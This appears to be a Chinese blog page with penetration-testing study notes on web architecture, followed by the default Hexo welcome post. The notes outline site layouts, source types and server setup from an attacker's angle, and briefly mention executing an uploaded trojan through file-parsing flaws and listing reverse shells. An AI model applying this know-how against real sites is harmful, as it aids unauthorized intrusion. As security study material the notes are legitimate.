思维导图

知识点:

  • 1、Web常规-系统&中间件&数据库&源码等
  • 2、Web其他-集成软件&Docker容器&分配站等
    分配站–大域名分配给用户的 免费或收费的网站 (网校系统…)
    集成软件—宝塔BT…
  • 3、Web拓展-CDN&WAF&OSS&静态&负载均衡等
    OSS对象存储—文件上传漏洞失效

章节点

  • 应用架构:Web/APP/云应用/三方服务/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等

常规的Web应用搭建:

  • 1、购买云服务器,购买域名
  • 2、云服务器去搭建中间件
  • 3、下载并上传Web程序源码
  • 4、添加网站并绑定域名目录

总结

  • 0、知道Web必备四大件作用
    系统、中间件、数据库、源码

  • 1、知道网站有哪些形式展示

  • 子域名模式:
    www.xiaodi8.com –zblog asp程序
    xiaodi.xiaodi8.com –wordpress php程序
    bbs.xiaodi8.com –论坛 dz程序
    oa.xiaodi8.com –OA 通达OA
    端口模式:
    www.xiaodi8.com –zblog asp程序
    www.xiaodi8.com:8080 –wordpress php程序
    目录模式:
    http://www.xiaosedi123.fun/ –zblog asp程序
    http://www.xiaosedi123.fun/bbs –论坛 dz程序
    其他:
    集成软件 Docker容器 分配站等

  • 2、知道源码和URL访问对应关系

  • 3、知道源码有加密开源闭源类型
    Web程序源码:(源码是否能拿到手)
    开源—-商业—-自写
    开源—源码可见/源码不可见(加密/语言特性决定)
        可见–白盒测试-代码审计
    路由访问—mvc源码 Java python(有些目录存在但里面文件访问不到)–URL和文件目录对应不上 要根据配饰路由决定
    常规访问—URL和文件目录对应上–根据网站目录访问对应文件

  • 4、知道文件访问解析由什么决定
    媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型)是一种标准,用来表示文档、文件或字节流的性质和格式,通过该规则我们能够根据文件的后缀来解析指定的文件格式,某些网站会存在解析漏洞,我们可以将木马文件上传后,通过修改解析规则来执行木马—-注意权限

  • 5、知道数据库存储数据站库分离
    本地存储–网站和数据库在同一个服务器
    站库分离–网站和数据库不在同一个服务器
    云数据库–网站文件不存储在本地,而是在OSS中

  • 6、知道中间件配置影响后续手法
    一次web访问的顺序,web浏览器->web服务器(狭义)->web容器->应用服务器->数据库服务器
    详情可以参考:知乎-平台安全之中间件安全

  • 7、知道常规真实Web搭建解析流程

  • 8、思考为什么要学习掌握这些东西

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment